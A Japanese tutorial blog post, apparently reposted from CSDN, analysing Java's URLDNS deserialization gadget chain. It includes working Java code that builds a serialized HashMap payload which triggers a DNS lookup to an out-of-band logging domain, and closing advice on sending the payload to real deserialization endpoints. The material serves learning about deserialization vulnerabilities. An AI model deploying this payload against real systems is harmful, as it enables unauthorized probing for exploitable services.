チェーンEXPで書かれたURLDNSのソースコード解析

チェーンEXPで書かれたURLDNSのソースコード解析

この記事は、特定の Java の基礎を必要とし、Java リフレクションに関連する内容を理解する必要があります。URLDNS 利用チェーンは、Java のシリアル化および逆シリアル化の脆弱性研究の入門ケースに適しています。ここでは、Java のシリアル化およびデシリアル化の脆弱性の本質を学び、EXP の書き方のアイデアや実践的な活用アイデアを学ぶことができます。

概要

URLDNS チェーンの本質は、ドメイン名解決を使用する URL で hashCode メソッドを使用することです。hashCode メソッドは、HashMap 逆シリアル化を利用して readObject() メソッドを呼び出すときにハッシュ値を計算するために使用されるため、URL を HashMap に入れることができ、それによって HashMap が逆シリアル化されるときに URL の hashCode メソッドを間接的に呼び出すことができます。

ソースコード分析

HashMapのreadObject()の解析

ソースコード分析:

画像-20230812105906398

HashMap はシリアル化可能な Serializable インターフェイスを実装しており、キーは readObject() メソッドで呼び出されます。

URLクラス分析

ソースコード分析:

URL クラスはシリアル化できます

画像-20230812111121729

hashCode 属性のデフォルトは -1 です

画像-20230812110049857

hashCodeの値に基づいてハッシュ値を計算します

画像-20230812110243188

次に、ハンドラーの hashCode ソース コードを確認します。

画像-20230812110816636

getHostAddress() メソッドを見てみましょう。

画像-20230812110937493

EXPライティングのアイデア

上記のソース コード分析後の最終的な目標は、URL の hashCode メソッドを呼び出し、DNS クエリを実現することです。hashCode の値を -1 に変更するだけで、最後に getHostAddress() メソッドを入力して DNS クエリを実装できます。

DNS クエリの目的を達成するには、HashMap の readObject() メソッドを使用します。このメソッドではキーの hashCode が計算されます。キーが hashCode メソッドを書き換える場合、計算ロジックは hashCode を使用します。 () メソッドを使用するため、URL オブジェクトをキーとして hashMap に渡すことができますが、最終的に hashCode() メソッドを呼び出すためには、URL の hashCode の値が -1 である必要があるため、次のように使用できます。リフレクションは、DNS ルックアップの目的を達成するために、実行状態の URL のハッシュコードを操作します。

以下に、URLDNS チェーンの使用を再現するための EXP を記述します。

EXP書き込みの場合

環境整備

開発ツール:IDEAを推奨

JDK: JDK8 を使用することをお勧めします。JDK11 も可能です。つまり、リフレクションでプライベート プロパティの hashCode を設定するときに警告が表示されますが、プロパティの設定には影響しませんが、JDK17 では使用できないため、JDK17 は使用できません。プライベートプロパティを設定するためのリフレクション

UrlDnsSer.java

シリアル化後にエクスプロイト チェーンを構築する

構築プロセス: シリアル化できる URL を準備します --> URL の hashCode() メソッドを使用します --> hashCode の値を構築します (URL の hashCode はデフォルトで -1 であるため、シリアル化しないように設定できます)リフレクションによって -1。これは、URL のハッシュコードが put 時に呼び出されるのを避けるため、逆シリアル化された方法で呼び出すことができないようにするためです) --> 構築された URL を HashMap に入れます --> リフレクションを使用して、 URL のハッシュコードを -1 に設定 --> シリアル化

public class UrlDnsSer {
    
    
    public static void main(String[] args) throws Exception {
    
    
        //构造函数中的参数可以填写DNSLog生成的,也可以使用BurpSuit的Collaborator生成
        URL url = new URL("http://0kdhkf.dnslog.cn");
        //URL中调用hashCode的时候会访问dns
        Class cls = url.getClass();
        Field hashCode = cls.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        //将URL的hashCode设置为不是-1,就不会在put的时候调用hashCode访问dns了
        hashCode.set(url,222);
        HashMap<URL, Integer> map = new HashMap<>();
        map.put(url,3);
        //将URL的hashCode设置为-1,是为了在反序列化的时候调用URL的hashCode访问dns
        hashCode.set(url,-1);
        serialize(map);
    }
    public static void serialize(Object object) throws IOException {
    
    
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }
}

UnUrlDnsSer.java

利用処理:ハッシュマップのデシリアライズ --> HashMap の readObject() を呼び出す --> putVal() を呼び出す --> キーの hasCode を呼び出す --> リフレクションにより hashCode の値を -1 に変更 --> URLStreamHandler() の hashCode を呼び出すメソッド --> getHostAddress() メソッドを呼び出す --> DNS クエリ

public class UnUrlDnsSer {
    
    
    public static void main(String[] args) throws IOException, ClassNotFoundException {
    
    
        unSerialize();
    }
    public static void unSerialize() throws IOException, ClassNotFoundException {
    
    
        ObjectInput oos = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object obj = oos.readObject();
        System.out.println(obj);
    }
}

上記のコードを記述した後、UrlDnsSer クラスを実行して構築したハッシュマップをシリアル化し、次に UnUrlDnsSer クラスを実行してハッシュマップを逆シリアル化し、最後に DNSlog でドメイン名解決レコードを確認できます。

画像-20230812114910072

アイデアの実践

まず、逆シリアル化を行うファンクション ポイントを見つけ、シリアル化されたペイロードをそのファンクション ポイントに送信して逆シリアル化してから、URLDNS 利用チェーンを形成して悪意のあるコードの実行を完了する必要があります。

おすすめ

転載: blog.csdn.net/weixin_46367450/article/details/132273949